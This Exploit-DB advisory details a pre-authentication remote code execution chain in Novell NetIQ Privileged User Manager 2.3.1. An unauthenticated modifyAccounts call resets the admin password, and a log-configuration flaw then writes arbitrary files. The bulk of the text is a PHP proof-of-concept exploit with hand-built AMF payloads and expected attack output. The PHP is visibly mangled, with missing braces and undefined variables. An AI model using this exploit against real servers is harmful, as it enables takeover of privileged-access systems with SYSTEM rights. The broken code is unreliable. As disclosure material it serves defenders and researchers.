Novell NetIQ Privileged User Manager 2.3.1 - auth.dll pa_modify_accounts RCE

ID EDB-ID:22737
Type exploitdb
Reporter rgod
Modified 2012-11-15T00:00:00


Novell NetIQ Privileged User Manager 2.3.1 - auth.dll pa_modify_accounts() RCE. Remote exploit for windows platform

                                            Novell NetIQ Privileged User Manager 2.3.1 auth.dll pa_modify_accounts() 
Remote Code Execution (pre auth / SYSTEM privileges)

Tested against: Microsoft Windows 2003 r2 sp2
download url:
(search "Privileged User Manager")
file tested: NetIQ-PUM-2.3.1.iso
(decompress and launch netiq_pum_manager_2.3.1_x86.msi)

The mentioned product installs a Windows service (unifid.exe) called 'npum',
display name: "NetIQ Privileged User Manager" which listens on 
default tcp port 443 (https) for incoming connections.

The secure web interface contains a flaw which allows, without prior 
authentication, to change the password of the user 'admin'.
A remote attacker then could login to the web interface with full privileges
and trigger underlying vulnerabilities to write arbitrary files
against the target system with SYSTEM privileges.


Open C:\Program Files\Novell\npum\service\local\auth\module.xml
(this is the configuration file of the 'auth' module).

    <Library type="dso" lib="lib/auth">
      <Method name="initAuth" init="init_auth" /> 
      <Method name="login" svc="login"/>
      <Method name="logout" svc="auth_logout"/>
      <Method name="renew" svc="renew"/>
      <Method name="changePassword" svc="passwd_change" master="1"/>
      <Method name="setPassword" svc="passwd_set" role="admin" master="1"/>
      <Method name="userInfo" svc="user_info" role="read"/>
      <Method name="groupInfo" svc="group_info" role="read"/>
      <Method name="listUsers" svc="list_users" role="read"/>
      <Method name="listGroups" svc="list_groups" role="read"/>
      <Method name="addUser" svc="add_user" role="admin" master="1"/>
      <Method name="delUser" svc="del_user" role="admin" master="1"/>
      <Method name="modUser" svc="mod_user" role.0="admin" role.1="helpdesk" master="1"/>
      <Method name="addGroup" svc="add_group" role="admin" master="1"/>
      <Method name="delGroup" svc="del_group" role="admin" master="1"/>
      <Method name="modGroup" svc="mod_group" role.0="admin" role.1="helpdesk" master="1"/>
      <Method name="getDefaults" svc="get_defaults" role="read"/>
      <Method name="modDefaults" svc="mod_defaults" role="admin" master="1"/>
      <Method name="logonNotify" svc="logon_notify" master="1"/>
      <Method name="getAttributes" svc="pa_get_attributes"/>
      <Method name="getAccounts" svc="pa_get_accounts"/>
      <Method name="modifyAccounts" svc="pa_modify_accounts" master="1"/> <---------------------------
      <Method name="registerAgent" wrk="pa_register_agent" master="1"/>
      <Method name="acntMaintenance" wrk="acnt_maintenance"/>
	  <Method name="getroleDetails" wrk="au_getroledetails"/>
	  <Method name="getRolesGroups" svc="au_getrolesgroups"/>
	  <Method name="modrole" svc="au_modrole"/>

Note the modifyAccounts method. It corresponds to the pa_modify_accounts()
function inside auth.dll (see auth.lst attachment) . No role is defined.
The result is that, unlike with the modUser method which has nearly the same functionalities,
the internet user could reach the administrative code by sending a POST request with
serialized content.

I found also a flaw (post-auth) inside the set_log_config() function of 
regclnt.dll (see regclnt.lst attachment) which allows to write arbitrary files by specifying the location 
of log files. 
You are in control of the file extension, and you are in control of the file
location by specifying an absolute path or directory traversal specifiers.
The content of the file can be partially controlled by sending a GET request
to the web interface. This could allow ex. to write scripts inside the automatic
startup folders.

As attachment, proof of concept code written in php. Launch from the
command line.
When succeeded, you could login with the credentials given.


The default credentials are 

username: admin
password: novell

Log in and change the password to one of your choice.
Then log out and run 9sg_novell_netiq.php.

Credentials are changed to:

username: admin
password: rgod_777_

You could also change the location of the log file by browsing:

Home -> Hosts 

when the host is selected you will see the Host Log Settings feature.

Other attacks are possible.


Novell NetIQ Privileged User Manager 2.3.1 auth.dll pa_modify_accounts() 
Remote Code Execution Exploit

Expected output:

C:\php>php 9sg_novell_netiq_i.php
[*] Attacking auth.dll ...
[*] Modifying admin password...
[*] Done. Proceeding to next steps.
[*] svc_name -> somename
[*] Logging in...
[*] Logged in: succeeded
[*] Identity Token -> AJzj8ExJzSvJLKlkyOd0LC3JCMnPTs1jKGbJS8xNZU1Myc3My+TIzEtMLsksS92h4MlWUlySmFvQ2rx3W34xd1Fqbn5JanxGfn
[*] Setting up a rollover script which launches calc.exe
[*] Done. The following perl script will be launched in 5 seconds :


    error_reporting(E_ALL ^ E_NOTICE);     
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
    if (php_sapi_name() <> "cli") {
    function syntax() {
       print("usage: php 9sg_novell_netiq_i.php [ip_address]\r\n" );
    $argv[1] ? print("[*] Attacking auth.dll ...\n") :
	if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
             print("[*] curl loaded\n");
        } else {
            !dl("") ? die($err[1]) :
             print("[*] curl loaded\n");
    function _s($url, $is_post, $ck, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($is_post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "Cookie: ".$ck,
            "Content-Type: application/x-amf", //do not touch this, important
            "x-flash-version: 11,4,402,278"
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSMSCOM)");
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        if ($_use_proxy) {
            curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
        $_d = curl_exec($ch);
        if (curl_errno($ch)) {
            //die("[!] ".curl_error($ch)."\n");
        } else {
        return $_d;

        /*********************************** config **********************************/
          $host = $argv[1];
          $port = 443;
          $pwd="rgod_777_"; //by default minimum length = 8, minimum alpha = 1, minimum numeric = 1

function hex_dump($data, $newline="\n") { 
static $from = '';   
static $to = '';    
static $width = 16; static $pad = '.';  
 if ($from==='')   {     
     for ($i=0; $i<=0xFF; $i++)  { 
         $from .= chr($i);       
         $to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;   
$hex = str_split(bin2hex($data), $width*2);   
$chars = str_split(strtr($data, $from, $to), $width);    
$offset = 0;   
foreach ($hex as $i => $line)   {     
    echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . ']' . $newline;     $offset += $width;   

print("[*] Modifying admin password...\n");

$data="\x00\x00\x00\x00\x00\x01\x00\x13\x53\x50\x46\x2e\x55\x74\x69\x6c". //  ........SPF.Util
      "\x2e\x63\x61\x6c\x6c\x4d\x61\x73\x74\x65\x72\x00\x04\x2f\x32\x36". //  .callMaster../26
      "\x32\x00\x00\x02\x98\x0a\x00\x00\x00\x01\x03\x00\x06\x6d\x65\x74". //  2............met
       "modifyAccounts". //boom
      "\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00\x04\x55\x73". // odule...auth..Us
      "\x00\x09\x41\x43\x54\x5f\x53\x55\x50\x45\x52\x03\x00\x05\x76\x61". //
      "\x6c\x75\x65\x00\x3f\xf0\x00\x00\x00\x00\x00\x00\x00\x06\x61\x63". //  lue.?
      "\x74\x69\x6f\x6e\x02\x00\x03\x73\x65\x74\x00\x00\x09\x00\x0b\x41". //  tion...set.....A
      "\x43\x54\x5f\x43\x4f\x4d\x4d\x45\x4e\x54\x03\x00\x05\x76\x61\x6c". //  CT_COMMENT...val
      "\x75\x65\x02\x00\x04\x61\x73\x64\x64\x00\x06\x61\x63\x74\x69\x6f". //  ue...asdd..actio
      "\x6e\x02\x00\x03\x73\x65\x74\x00\x00\x09\x00\x0a\x41\x43\x54\x5f". //  n...set.....ACT_
      "\x50\x41\x53\x53\x57\x44\x03\x00\x05\x76\x61\x6c\x75\x65\x02".     //  PASSWD...value..
      pack("n",strlen($pwd)). //16 bit, big endian
      "\x6e\x02\x00\x03\x73\x65\x74\x00\x00\x09\x00\x08\x41\x43\x54\x5f". //  n...set.....ACT_
      "\x44\x45\x53\x43\x03\x00\x05\x76\x61\x6c\x75\x65\x02\x00\x03\x73". //  DESC...value...s
      "\x64\x73\x00\x06\x61\x63\x74\x69\x6f\x6e\x02\x00\x03\x73\x65\x74". //  ds..action...set
      "\x00\x00\x09\x00\x00\x09\x00\x03\x75\x69\x64\x06\x00\x00\x09";     //  ........uid....
$url = "https://$host:$port/";
$out = _s($url, 1, "_SID_=1;", $data);
print("[*] Done. Proceeding to next steps.\n");
for ($i=0; $i<$len[1]; $i++){
  $svc_name.=$tmp[$i + 3];
echo "[*] svc_name -> ".$svc_name."\n";
echo "[*] Logging in...\n";
"\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74\x69".     //  .........SPF.Uti
"\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00\x02". //  l.callModuleEx..
"\x2f\x34\x00\x00\x00\x65\x0a\x00\x00\x00\x01\x03\x00\x03\x70\x6b". //  /
"\x74\x03\x00\x0b\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73\x03". //  t...Credentials.
"\x00\x04\x6e\x61\x6d\x65\x02\x00\x05\x61\x64\x6d\x69\x6e\x00\x06". //
"\x00\x06\x6d\x65\x74\x68\x6f\x64\x02\x00\x05\x6c\x6f\x67\x69\x6e". //  ..method...login
"\x00\x06\x6d\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00". //  ..module...auth.
"\x03\x75\x69\x64\x06\x00\x00\x09\x00\x00\x09";                     //  .uid.......
$url = "https://$host:$port/";
$out = _s($url, 1, "", $data);
if (strpos($out,"successfully\x20authenticated")){
   echo "[*] Logged in: succeeded\n";
} else {
   die("[!] Exploit failed");
for ($i=0; $i<$len[1]; $i++){
  $identity.=$tmp[$i + 2];
echo "[*] Identity Token -> ".$identity."\n";
echo "[*] Setting up a rollover script which launches calc.exe\n";
"s5". // repeat every 5 seconds, 1 hour = H1
pack("n",strlen($script) + 4).

$url = "https://$host:$port/";
$out = _s($url, 1, "", $data);
echo "[*] Done. The following perl script will be launched in 5 seconds :\n".$script."\n";